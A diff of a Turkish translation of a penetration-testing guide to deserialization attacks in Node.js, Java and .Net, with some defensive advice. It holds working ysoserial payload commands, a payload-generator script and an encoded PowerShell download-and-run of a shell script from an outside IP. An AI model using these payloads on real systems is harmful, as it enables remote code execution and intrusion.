Bu güvenlik açığını nasıl istismar edeceğinize dair **daha fazla bilgiye** [**buradan**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) ulaşabilirsiniz.
|
||||
|
||||
### [funcster](https://www.npmjs.com/package/funcster)
|
||||
|
||||
**funcster**'ın dikkate değer bir yönü, **standart yerleşik nesnelerin** erişilemezliğidir; bunlar erişilebilir kapsamın dışındadır. Bu kısıtlama, yerleşik nesneler üzerinde yöntem çağırmaya çalışan kodların çalıştırılmasını engeller ve `console.log()` veya `require(something)` gibi komutlar kullanıldığında `"ReferenceError: console is not defined"` gibi istisnalara yol açar.
|
||||
|
||||
Bu sınırlamaya rağmen, tüm standart yerleşik nesneler dahil olmak üzere küresel bağlama tam erişimin geri kazanılması belirli bir yaklaşım aracılığıyla mümkündür. Küresel bağlamı doğrudan kullanarak, bu kısıtlamayı aşmak mümkündür. Örneğin, aşağıdaki kod parçası kullanılarak erişim yeniden sağlanabilir:
|
||||
Bu sınırlamaya rağmen, belirli bir yaklaşım aracılığıyla, tüm standart yerleşik nesneler dahil olmak üzere küresel bağlama tam erişimin geri kazanılması mümkündür. Küresel bağlamı doğrudan kullanarak, bu kısıtlamayı aşmak mümkündür. Örneğin, aşağıdaki kod parçası kullanılarak erişim yeniden sağlanabilir:
|
||||
```javascript
|
||||
funcster = require("funcster")
|
||||
//Serialization
|
||||
@ -359,14 +359,14 @@ deserialize(test)
|
||||
|
||||
### Cryo kütüphanesi
|
||||
|
||||
Aşağıdaki sayfalarda, bu kütüphaneyi kötüye kullanarak rastgele komutlar çalıştırma hakkında bilgi bulabilirsiniz:
|
||||
Aşağıdaki sayfalarda, bu kütüphaneyi kötüye kullanarak rastgele komutları nasıl çalıştırabileceğinize dair bilgiler bulabilirsiniz:
|
||||
|
||||
- [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
|
||||
- [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418)
|
||||
|
||||
## Java - HTTP
|
||||
|
||||
Java'da, **deserialization geri çağırmaları deserialization süreci sırasında yürütülür**. Bu yürütme, bu geri çağırmaları tetikleyen kötü niyetli yükler oluşturan saldırganlar tarafından istismar edilebilir ve potansiyel olarak zararlı eylemlerin gerçekleştirilmesine yol açabilir.
|
||||
Java'da, **deserialization geri çağırmaları deserialization süreci sırasında çalıştırılır**. Bu yürütme, bu geri çağırmaları tetikleyen kötü niyetli yükler oluşturan saldırganlar tarafından istismar edilebilir ve potansiyel olarak zararlı eylemlerin gerçekleştirilmesine yol açabilir.
|
||||
|
||||
### Parmak İzleri
|
||||
|
||||
@ -392,7 +392,7 @@ Siyah kutu testleri için, java serileştirilmiş nesnelerini belirten belirli *
|
||||
|
||||
- Onaltılık desen: `AC ED 00 05`.
|
||||
- Base64 deseni: `rO0`.
|
||||
- `Content-type`'ı `application/x-java-serialized-object` olarak ayarlanmış HTTP yanıt başlıkları.
|
||||
- `Content-type` başlığı `application/x-java-serialized-object` olarak ayarlanmış HTTP yanıt başlıkları.
|
||||
- Önceki sıkıştırmayı belirten onaltılık desen: `1F 8B 08 00`.
|
||||
- Önceki sıkıştırmayı belirten Base64 deseni: `H4sIA`.
|
||||
- `.faces` uzantısına sahip web dosyaları ve `faces.ViewState` parametresi. Bu desenleri bir web uygulamasında keşfetmek, [Java JSF ViewState Deserialization](java-jsf-viewstate-.faces-deserialization.md) hakkında detaylı bir inceleme yapılmasını gerektirmelidir.
|
||||
@ -401,30 +401,30 @@ javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAA
|
||||
```
|
||||
### Açık olup olmadığını kontrol et
|
||||
|
||||
Eğer **Java Deserialized bir açığın nasıl çalıştığını öğrenmek istiyorsanız** [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md) ve [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md) belgelerine göz atmalısınız.
|
||||
Eğer **Java Deserialized bir açığın nasıl çalıştığını öğrenmek** istiyorsanız, [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md) ve [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md) belgelerine göz atmalısınız.
|
||||
|
||||
#### Beyaz Kutu Testi
|
||||
|
||||
Bilinen açıkları olan herhangi bir uygulamanın kurulu olup olmadığını kontrol edebilirsiniz.
|
||||
Bilinen güvenlik açıklarına sahip herhangi bir uygulamanın kurulu olup olmadığını kontrol edebilirsiniz.
|
||||
```bash
|
||||
find . -iname "*commons*collection*"
|
||||
grep -R InvokeTransformer .
|
||||
```
|
||||
**Tüm kütüphaneleri** kontrol etmeyi deneyebilirsiniz, bilinen zafiyetlere sahip ve [**Ysoserial** ](https://github.com/frohoff/ysoserial) tarafından bir istismar sağlanabilir. Ya da [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json) üzerinde belirtilen kütüphaneleri kontrol edebilirsiniz.\
|
||||
Tüm bilinen zayıf kütüphaneleri **kontrol etmeyi** deneyebilirsiniz ve [**Ysoserial**](https://github.com/frohoff/ysoserial) bunun için bir istismar sağlayabilir. Ya da [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json) üzerinde belirtilen kütüphaneleri kontrol edebilirsiniz.\
|
||||
Ayrıca, olası istismar edilebilecek gadget zincirlerini aramak için [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) kullanabilirsiniz.\
|
||||
**gadgetinspector**'ı çalıştırırken (inşa ettikten sonra) karşılaştığı tonlarca uyarı/hata ile ilgilenmeyin ve bitirmesine izin verin. Tüm bulguları _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_ altında yazacaktır. Lütfen, **gadgetinspector'ın bir istismar oluşturmayacağını ve yanlış pozitifler gösterebileceğini** unutmayın.
|
||||
|
||||
#### Kara Kutu Testi
|
||||
|
||||
Burp eklentisi [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) kullanarak **hangi kütüphanelerin mevcut olduğunu** (ve hatta sürümlerini) belirleyebilirsiniz. Bu bilgi ile, zafiyeti istismar etmek için **bir yük seçmek daha kolay olabilir**.\
|
||||
Burp uzantısı [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) kullanarak **hangi kütüphanelerin mevcut olduğunu** (ve hatta sürümlerini) belirleyebilirsiniz. Bu bilgi ile, zayıflığı istismar etmek için **bir yük seçmek daha kolay olabilir**.\
|
||||
[**GadgetProbe hakkında daha fazla bilgi için bunu okuyun.**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
|
||||
GadgetProbe, **`ObjectInputStream` deserialization**'larına odaklanmıştır.
|
||||
|
||||
Burp eklentisi [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) kullanarak **ysoserial ile istismar edilebilen zayıf kütüphaneleri** belirleyebilir ve **istismar** edebilirsiniz.\
|
||||
Burp uzantısı [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) kullanarak **ysoserial ile istismar edilebilen zayıf kütüphaneleri** belirleyebilir ve **istismar** edebilirsiniz.\
|
||||
[**Java Deserialization Scanner hakkında daha fazla bilgi için bunu okuyun.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
||||
Java Deserialization Scanner, **`ObjectInputStream`** deserialization'larına odaklanmıştır.
|
||||
|
||||
Ayrıca, **Burp** içinde **deserialization** zafiyetlerini **tespit etmek için** [**Freddy**](https://github.com/nccgroup/freddy) kullanabilirsiniz. Bu eklenti, **sadece `ObjectInputStream`** ile ilgili zafiyetleri değil, **Json** ve **Yml** deserialization kütüphanelerinden de zafiyetleri tespit edecektir. Aktif modda, bunları uyku veya DNS yükleri kullanarak doğrulamaya çalışacaktır.\
|
||||
Ayrıca, **Burp** içinde **deserialization** zayıflıklarını **tespit etmek için** [**Freddy**](https://github.com/nccgroup/freddy) kullanabilirsiniz. Bu eklenti, **sadece `ObjectInputStream`** ile ilgili zayıflıkları değil, **Json** ve **Yml** deserialization kütüphanelerinden de zayıflıkları tespit edecektir. Aktif modda, bunları uyku veya DNS yükleri kullanarak doğrulamaya çalışacaktır.\
|
||||
[**Freddy hakkında daha fazla bilgi burada bulabilirsiniz.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
||||
|
||||
**Serileştirme Testi**
|
||||
@ -438,7 +438,7 @@ Bir web uygulamasına gönderilen bir java serileştirilmiş nesnesi bulursanız
|
||||
|
||||
Java deserialization'larını istismar etmek için ana araç [**ysoserial**](https://github.com/frohoff/ysoserial) ([**buradan indirin**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Ayrıca, karmaşık komutlar (örneğin, borular ile) kullanmanıza olanak tanıyacak [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) kullanmayı da düşünebilirsiniz.\
|
||||
Bu aracın **`ObjectInputStream`** istismarına **odaklandığını** unutmayın.\
|
||||
İnjeksyonun mümkün olup olmadığını test etmek için **RCE** yükünden önce **"URLDNS"** yükünü kullanmaya **başlayacağım**. Her durumda, "URLDNS" yükünün çalışmadığını ancak başka bir RCE yükünün çalıştığını unutmayın.
|
||||
İnsanı **RCE** yükünden önce **"URLDNS"** yükünü kullanmaya **başlamanızı** öneririm, böylece enjeksiyonun mümkün olup olmadığını test edebilirsiniz. Her durumda, "URLDNS" yükünün çalışmadığını ancak başka bir RCE yükünün çalıştığını unutmayın.
|
||||
```bash
|
||||
# PoC to make the application perform a DNS req
|
||||
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
|
||||
@ -483,9 +483,9 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
|
||||
# Base64 encode payload in base64
|
||||
base64 -w0 payload
|
||||
```
|
||||
**java.lang.Runtime.exec()** için bir payload oluştururken, bir yürütmenin çıktısını yönlendirmek için ">" veya "|" gibi **özel karakterler** kullanamazsınız, komutları yürütmek için "$()" kullanamazsınız veya bir komuta **boşluklarla** ayrılmış **argümanlar** bile geçiremezsiniz ( `echo -n "hello world"` yapabilirsiniz ama `python2 -c 'print "Hello world"'` yapamazsınız). Payload'u doğru bir şekilde kodlamak için [bu web sayfasını](http://www.jackson-t.ca/runtime-exec-payloads.html) kullanabilirsiniz.
|
||||
Bir **java.lang.Runtime.exec()** yükü oluştururken, bir yürütmenin çıktısını yönlendirmek için ">" veya "|" gibi **özel karakterler** kullanamazsınız, komutları yürütmek için "$()" kullanamazsınız veya bir komuta **boşluklarla** ayrılmış **argümanlar** bile geçiremezsiniz ( `echo -n "hello world"` yapabilirsiniz ama `python2 -c 'print "Hello world"'` yapamazsınız). Yükü doğru bir şekilde kodlamak için [bu web sayfasını](http://www.jackson-t.ca/runtime-exec-payloads.html) kullanabilirsiniz.
|
||||
|
||||
Windows ve Linux için **tüm olası kod yürütme** payload'larını oluşturmak ve ardından bunları savunmasız web sayfasında test etmek için aşağıdaki scripti kullanmaktan çekinmeyin:
|
||||
Windows ve Linux için **tüm olası kod yürütme** yüklerini oluşturmak ve ardından bunları savunmasız web sayfasında test etmek için aşağıdaki betiği kullanmaktan çekinmeyin:
|
||||
```python
|
||||
import os
|
||||
import base64
|
||||
@ -528,7 +528,7 @@ Projeyi derlemek için `pom.xml` dosyasına bu **bağımlılıkları** **eklemem
|
||||
<type>pom</type>
|
||||
</dependency>
|
||||
```
|
||||
**Maven'ı kurun** ve **projeyi derleyin**:
|
||||
**Maven'ı yükleyin** ve **projeyi derleyin**:
|
||||
```bash
|
||||
sudo apt-get install maven
|
||||
mvn clean package -DskipTests
|
||||
@ -556,7 +556,7 @@ Java, çeşitli amaçlar için çok fazla serileştirme kullanır:
|
||||
|
||||
#### Geçici nesneler
|
||||
|
||||
`Serializable` arayüzünü uygulayan bir sınıf, serileştirilemeyecek olan sınıf içindeki herhangi bir nesneyi `transient` olarak işaretleyebilir. Örneğin:
|
||||
`Serializable` uygulayan bir sınıf, serileştirilemeyecek herhangi bir nesneyi sınıf içinde `transient` olarak uygulayabilir. Örneğin:
|
||||
```java
|
||||
public class myAccount implements Serializable
|
||||
{
|
||||
@ -578,7 +578,7 @@ throw new java.io.IOException("Cannot be deserialized");
|
||||
- Deserialization kodu kontrolünüz altındadır.
|
||||
- Deserialization için beklenen sınıflar bilinmektedir.
|
||||
|
||||
Sadece izin verilen sınıflara deserialization'ı sınırlamak için **`resolveClass()`** yöntemini geçersiz kılın. Bu, yalnızca açıkça izin verilen sınıfların, aşağıdaki örnekte olduğu gibi, `Bicycle` sınıfına deserialization yapılmasını sağlar:
|
||||
Sadece izin verilen sınıflara deserialization'ı sınırlamak için **`resolveClass()`** yöntemini geçersiz kılın. Bu, yalnızca açıkça izin verilen sınıfların, örneğin deserialization'ı yalnızca `Bicycle` sınıfı ile sınırlayan aşağıdaki örnekte olduğu gibi, deserialization'ını önler:
|
||||
```java
|
||||
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
|
||||
public class LookAheadObjectInputStream extends ObjectInputStream {
|
||||
@ -605,9 +605,9 @@ return super.resolveClass(desc);
|
||||
```
|
||||
Dinamik olarak deserialization'ı güvence altına almanın bir yolunu sağlar, anlık kod değişikliklerinin pratik olmadığı ortamlarda idealdir.
|
||||
|
||||
Bir örneği kontrol edin [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
|
||||
[rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0) örneğine bakın.
|
||||
|
||||
**Serileştirme Filtrelerinin Uygulanması**: Java 9, serileştirilmiş nesnelerin deserialization işleminden önce karşılaması gereken kriterleri belirlemek için güçlü bir mekanizma sağlayan **`ObjectInputFilter`** arayüzü aracılığıyla serileştirme filtrelerini tanıttı. Bu filtreler, deserialization süreci üzerinde ayrıntılı kontrol sunarak küresel veya akış başına uygulanabilir.
|
||||
**Serileştirme Filtrelerinin Uygulanması**: Java 9, **`ObjectInputFilter`** arayüzü aracılığıyla serileştirme filtrelerini tanıttı ve serileştirilmiş nesnelerin deserialization'dan önce karşılaması gereken kriterleri belirlemek için güçlü bir mekanizma sağladı. Bu filtreler, deserialization süreci üzerinde ayrıntılı kontrol sunarak küresel veya akış başına uygulanabilir.
|
||||
|
||||
Serileştirme filtrelerini kullanmak için, tüm deserialization işlemlerine uygulanan küresel bir filtre ayarlayabilir veya belirli akışlar için dinamik olarak yapılandırabilirsiniz. Örneğin:
|
||||
```java
|
||||
@ -621,10 +621,10 @@ return Status.ALLOWED;
|
||||
};
|
||||
ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
```
|
||||
**Dış Kütüphaneleri Kullanarak Güvenliği Artırma**: **NotSoSerial**, **jdeserialize** ve **Kryo** gibi kütüphaneler, Java deserialization'ını kontrol etme ve izleme için gelişmiş özellikler sunar. Bu kütüphaneler, deserialization'dan önce serileştirilmiş nesneleri analiz etme, sınıfları beyaz listeye alma veya kara listeye alma ve özel serileştirme stratejileri uygulama gibi ek güvenlik katmanları sağlayabilir.
|
||||
**Dış Kütüphaneleri Kullanarak Güvenliği Artırma**: **NotSoSerial**, **jdeserialize** ve **Kryo** gibi kütüphaneler, Java deserialization'ını kontrol etme ve izleme için gelişmiş özellikler sunar. Bu kütüphaneler, deserialization'dan önce serileştirilmiş nesneleri analiz etme, sınıfları beyaz listeye alma veya kara listeye alma gibi ek güvenlik katmanları sağlayabilir ve özel serileştirme stratejileri uygulayabilir.
|
||||
|
||||
- **NotSoSerial**, güvensiz kodun çalıştırılmasını önlemek için deserialization süreçlerini kesintiye uğratır.
|
||||
- **jdeserialize**, serileştirilmiş Java nesnelerinin deserialization'ını yapmadan analiz edilmesine olanak tanır ve potansiyel olarak zararlı içeriği tanımlamaya yardımcı olur.
|
||||
- **jdeserialize**, serileştirilmiş Java nesnelerinin deserialization işlemi yapılmadan analiz edilmesine olanak tanır ve potansiyel olarak zararlı içeriği tanımlamaya yardımcı olur.
|
||||
- **Kryo**, hız ve verimliliğe vurgu yapan alternatif bir serileştirme çerçevesidir ve güvenliği artırabilecek yapılandırılabilir serileştirme stratejileri sunar.
|
||||
|
||||
### Referanslar
|
||||
@ -643,7 +643,7 @@ ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
|
||||
## JNDI Enjeksiyonu & log4Shell
|
||||
|
||||
**JNDI Enjeksiyonu nedir, RMI, CORBA & LDAP aracılığıyla nasıl kötüye kullanılır ve log4shell'i nasıl istismar edersiniz** (ve bu zafiyetin bir örneği) aşağıdaki sayfada bulabilirsiniz:
|
||||
**JNDI Enjeksiyonu nedir, RMI, CORBA & LDAP aracılığıyla nasıl kötüye kullanılır ve log4shell'i nasıl istismar edilir** (ve bu zafiyetin bir örneği) aşağıdaki sayfada bulabilirsiniz:
|
||||
|
||||
{{#ref}}
|
||||
jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
@ -651,7 +651,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
|
||||
## JMS - Java Mesaj Servisi
|
||||
|
||||
> **Java Mesaj Servisi** (**JMS**) API'si, iki veya daha fazla istemci arasında mesaj göndermek için kullanılan bir Java mesaj odaklı ara yazılım API'sidir. Üretici-tüketici sorununu çözmek için bir uygulamadır. JMS, Java Platformu, Kurumsal Sürüm (Java EE) bir parçasıdır ve Sun Microsystems tarafından geliştirilen bir spesifikasyonla tanımlanmıştır, ancak o zamandan beri Java Topluluk Süreci tarafından yönlendirilmiştir. Uygulama bileşenlerinin Java EE tabanlı olarak mesaj oluşturmasına, göndermesine, almasına ve okumasına olanak tanıyan bir mesajlaşma standardıdır. Dağıtık bir uygulamanın farklı bileşenleri arasında gevşek bağlı, güvenilir ve asenkron iletişimi sağlar. (Kaynak: [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
|
||||
> **Java Mesaj Servisi** (**JMS**) API'si, iki veya daha fazla istemci arasında mesaj göndermek için kullanılan bir Java mesaj odaklı ara yazılım API'sidir. Üretici-tüketici sorununu çözmek için bir uygulamadır. JMS, Java Platformu, Kurumsal Sürüm (Java EE) parçasıdır ve Sun Microsystems tarafından geliştirilen bir spesifikasyonla tanımlanmıştır, ancak o zamandan beri Java Topluluk Süreci tarafından yönlendirilmiştir. Java EE'ye dayalı uygulama bileşenlerinin mesaj oluşturmasına, göndermesine, almasına ve okumasına olanak tanıyan bir mesajlaşma standardıdır. Dağıtık bir uygulamanın farklı bileşenleri arasında iletişimin gevşek bir şekilde bağlı, güvenilir ve asenkron olmasını sağlar. (Kaynak: [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
|
||||
|
||||
### Ürünler
|
||||
|
||||
@ -663,57 +663,57 @@ Bu ara yazılımı kullanarak mesaj gönderen birkaç ürün bulunmaktadır:
|
||||
|
||||
### İstismar
|
||||
|
||||
Temelde, **tehlikeli bir şekilde JMS kullanan birçok hizmet vardır**. Bu nedenle, bu hizmetlere mesaj göndermek için **yeterli ayrıcalıklara** sahipseniz (genellikle geçerli kimlik bilgilerine ihtiyacınız olacaktır), **tüketici/abone tarafından deserialization yapılacak zararlı nesneler serileştirebilirsiniz**.\
|
||||
Temelde, **tehlikeli bir şekilde JMS kullanan birçok hizmet bulunmaktadır**. Bu nedenle, bu hizmetlere mesaj göndermek için **yeterli ayrıcalıklara** sahipseniz (genellikle geçerli kimlik bilgilerine ihtiyacınız olacaktır), **tüketici/abone tarafından deserialization yapılacak kötü niyetli serileştirilmiş nesneler** gönderebilirsiniz.\
|
||||
Bu, bu istismar sırasında **o mesajı kullanacak tüm istemcilerin enfekte olacağı** anlamına gelir.
|
||||
|
||||
Bir hizmetin zayıf olduğunu hatırlamalısınız (çünkü kullanıcı girdisini güvensiz bir şekilde deserialization yapıyorsa) ancak yine de zafiyeti istismar etmek için geçerli gadget'lar bulmanız gerekir.
|
||||
Bir hizmetin zayıf olduğunu hatırlamalısınız (çünkü kullanıcı girdisini güvensiz bir şekilde deserialization yapıyorsa), yine de zafiyeti istismar etmek için geçerli gadget'lar bulmanız gerekir.
|
||||
|
||||
[JMET](https://github.com/matthiaskaiser/jmet) aracı, **bilinen gadget'lar kullanarak birkaç zararlı nesne serileştirerek bu hizmetlere bağlanmak ve saldırmak için** oluşturulmuştur. Bu istismarlar, hizmet hala zayıfsa ve kullanılan gadget'lardan herhangi biri zayıf uygulamanın içinde bulunuyorsa çalışacaktır.
|
||||
[**JMET**](https://github.com/matthiaskaiser/jmet) aracı, **bilinen gadget'lar kullanarak birkaç kötü niyetli serileştirilmiş nesne göndererek bu hizmetlere bağlanmak ve saldırmak** için oluşturulmuştur. Bu istismarlar, hizmet hala zayıfsa ve kullanılan gadget'lardan herhangi biri zayıf uygulamanın içinde bulunuyorsa çalışacaktır.
|
||||
|
||||
### Referanslar
|
||||
|
||||
- [Patchstack advisory – Everest Forms kimlik doğrulaması yapılmamış PHP Nesne Enjeksiyonu (CVE-2025-52709)](https://patchstack.com/articles/critical-vulnerability-impacting-over-100k-sites-patched-in-everest-forms-plugin/)
|
||||
- [Patchstack danışmanlığı – Everest Forms kimlik doğrulaması yapılmamış PHP Nesne Enjeksiyonu (CVE-2025-52709)](https://patchstack.com/articles/critical-vulnerability-impacting-over-100k-sites-patched-in-everest-forms-plugin/)
|
||||
|
||||
- JMET konuşması: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
|
||||
- Slaytlar: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
|
||||
|
||||
## .Net
|
||||
|
||||
.Net bağlamında, deserialization istismarları, bir nesnenin deserialization'ı sırasında belirli kodları çalıştırmak için gadget'ların istismar edilmesi gibi çalışır.
|
||||
.Net bağlamında, deserialization istismarları, bir nesnenin deserialization'ı sırasında belirli kodları çalıştırmak için gadget'ların istismar edilmesi şeklinde çalışır.
|
||||
|
||||
### Parmak İzi
|
||||
|
||||
#### Beyaz Kutu
|
||||
|
||||
Kaynak kodu, aşağıdaki durumların varlığı için incelenmelidir:
|
||||
Kaynak kodu, aşağıdaki terimlerin geçişlerini kontrol etmek için incelenmelidir:
|
||||
|
||||
1. `TypeNameHandling`
|
||||
2. `JavaScriptTypeResolver`
|
||||
|
||||
Odak, kullanıcı kontrolündeki bir değişken tarafından türün belirlenmesine izin veren serileştiriciler üzerinde olmalıdır.
|
||||
Odak, türün kullanıcı kontrolündeki bir değişkenle belirlenmesine izin veren serileştiriciler üzerinde olmalıdır.
|
||||
|
||||
#### Siyah Kutu
|
||||
|
||||
Arama, sunucu tarafında deserialization yapılabilecek **AAEAAAD/////** veya benzeri bir desenle kodlanmış Base64 dizesini hedef almalıdır; bu, deserialization yapılacak tür üzerinde kontrol sağlar. Bu, `TypeObject` veya `$type` içeren **JSON** veya **XML** yapıları dahil olabilir, ancak bunlarla sınırlı değildir.
|
||||
Arama, sunucu tarafında deserialization yapılabilecek **AAEAAAD/////** veya benzeri bir Base64 kodlu dizeyi hedef almalıdır; bu, deserialization yapılacak tür üzerinde kontrol sağlar. Bu, **JSON** veya `TypeObject` veya `$type` içeren **XML** yapıları gibi olabilir.
|
||||
|
||||
### ysoserial.net
|
||||
|
||||
Bu durumda, **deserialization istismarlarını oluşturmak için** [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) aracını kullanabilirsiniz. Git deposunu indirdikten sonra, aracı **örneğin Visual Studio kullanarak derlemelisiniz**.
|
||||
Bu durumda, **deserialization istismarlarını oluşturmak için [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) aracını** kullanabilirsiniz. Git deposunu indirdikten sonra, aracı **örneğin Visual Studio kullanarak derlemelisiniz**.
|
||||
|
||||
**ysoserial.net'in istismarını nasıl oluşturduğunu öğrenmek** istiyorsanız, [**ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatlayıcı'sının açıklandığı bu sayfayı kontrol edebilirsiniz**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
|
||||
**ysoserial.net'in istismarını nasıl oluşturduğunu** öğrenmek istiyorsanız, [**ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter'ının açıklandığı bu sayfayı kontrol edebilirsiniz**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
|
||||
|
||||
**ysoserial.net**'in ana seçenekleri: **`--gadget`**, **`--formatter`**, **`--output`** ve **`--plugin`.**
|
||||
|
||||
- **`--gadget`**, istismar edilecek gadget'ı belirtmek için kullanılır (deserialization sırasında komutları çalıştırmak için istismar edilecek sınıf/fonksiyonu belirtin).
|
||||
- **`--gadget`**, istismar edilecek gadget'ı belirtmek için kullanılır (deserialization sırasında komutları çalıştırmak için istismar edilecek sınıf/fonksiyonu belirtir).
|
||||
- **`--formatter`**, istismarı serileştirmek için kullanılacak yöntemi belirtmek için kullanılır (payload'ı deserialization yapmak için arka uçta hangi kütüphanenin kullanıldığını bilmeniz ve aynı kütüphaneyi kullanarak serileştirmeniz gerekir).
|
||||
- **`--output`**, istismarı **ham** veya **base64** kodlu olarak almak isteyip istemediğinizi belirtmek için kullanılır. _Not: **ysoserial.net**, payload'ı **UTF-16LE** kullanarak **kodlayacaktır** (Windows'ta varsayılan olarak kullanılan kodlama), bu nedenle ham veriyi alıp sadece bir linux konsolundan kodlarsanız, istismarın düzgün çalışmasını engelleyecek bazı **kodlama uyumluluğu sorunları** yaşayabilirsiniz (HTB JSON kutusunda payload hem UTF-16LE hem de ASCII'de çalıştı, ancak bu her zaman çalışacağı anlamına gelmez)._
|
||||
- **`--plugin`**, ysoserial.net, **belirli çerçeveler için istismarlar oluşturmak üzere eklentileri destekler**; örneğin ViewState.
|
||||
- **`--plugin`**, ysoserial.net, **belirli çerçeveler için istismarlar oluşturmak** üzere eklentileri destekler, örneğin ViewState.
|
||||
|
||||
#### Daha fazla ysoserial.net parametreleri
|
||||
|
||||
- `--minify`, **daha küçük bir payload** sağlayacaktır (mümkünse).
|
||||
- `--raf -f Json.Net -c "anything"` Bu, sağlanan bir formatlayıcı ile kullanılabilecek tüm gadget'ları belirtecektir (`Json.Net` bu durumda).
|
||||
- `--sf xml`, bir gadget'ı (`-g`) belirtebilir ve ysoserial.net "xml" içeren formatlayıcıları arayacaktır (büyük/küçük harf duyarsız).
|
||||
- `--minify`, **daha küçük bir payload** sağlayacaktır (mümkünse)
|
||||
- `--raf -f Json.Net -c "anything"` Bu, sağlanan bir formatter ile kullanılabilecek tüm gadget'ları gösterecektir (bu durumda `Json.Net`).
|
||||
- `--sf xml`, bir gadget'ı (`-g`) **belirtebilir** ve ysoserial.net "xml" içeren formatörleri arayacaktır (büyük/küçük harf duyarsız).
|
||||
|
||||
**ysoserial örnekleri** ile istismar oluşturma:
|
||||
```bash
|
||||
@ -734,7 +734,7 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
|
||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
|
||||
```
|
||||
**ysoserial.net** ayrıca her bir exploitin nasıl çalıştığını daha iyi anlamaya yardımcı olan **çok ilginç bir parametreye** sahiptir: `--test`\
|
||||
Bu parametreyi belirtirseniz **ysoserial.net** **exploit'i yerel olarak deneyecektir,** böylece yüklemenizin doğru bir şekilde çalışıp çalışmadığını test edebilirsiniz.\
|
||||
Bu parametreyi belirtirseniz **ysoserial.net** **yerel olarak** **exploit'i dener**, böylece yüklemenizin doğru çalışıp çalışmadığını test edebilirsiniz.\
|
||||
Bu parametre faydalıdır çünkü kodu gözden geçirirseniz aşağıdaki gibi kod parçaları bulacaksınız ( [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
|
||||
```java
|
||||
if (inputArgs.Test)
|
||||
@ -760,12 +760,12 @@ TypeNameHandling = TypeNameHandling.Auto
|
||||
return obj;
|
||||
}
|
||||
```
|
||||
**Önceki kod, oluşturulan istismara karşı savunmasızdır.** Bu nedenle, bir .Net uygulamasında benzer bir şey bulursanız, muhtemelen o uygulama da savunmasızdır.\
|
||||
Bu nedenle **`--test`** parametresi, **ysoserial.net** tarafından oluşturulabilen deserialization istismarına karşı **hangi kod parçalarının savunmasız olduğunu anlamamıza** olanak tanır.
|
||||
In the **önceki kod, oluşturulan istismara karşı savunmasızdır**. Bu nedenle, bir .Net uygulamasında benzer bir şey bulursanız, muhtemelen o uygulama da savunmasızdır.\
|
||||
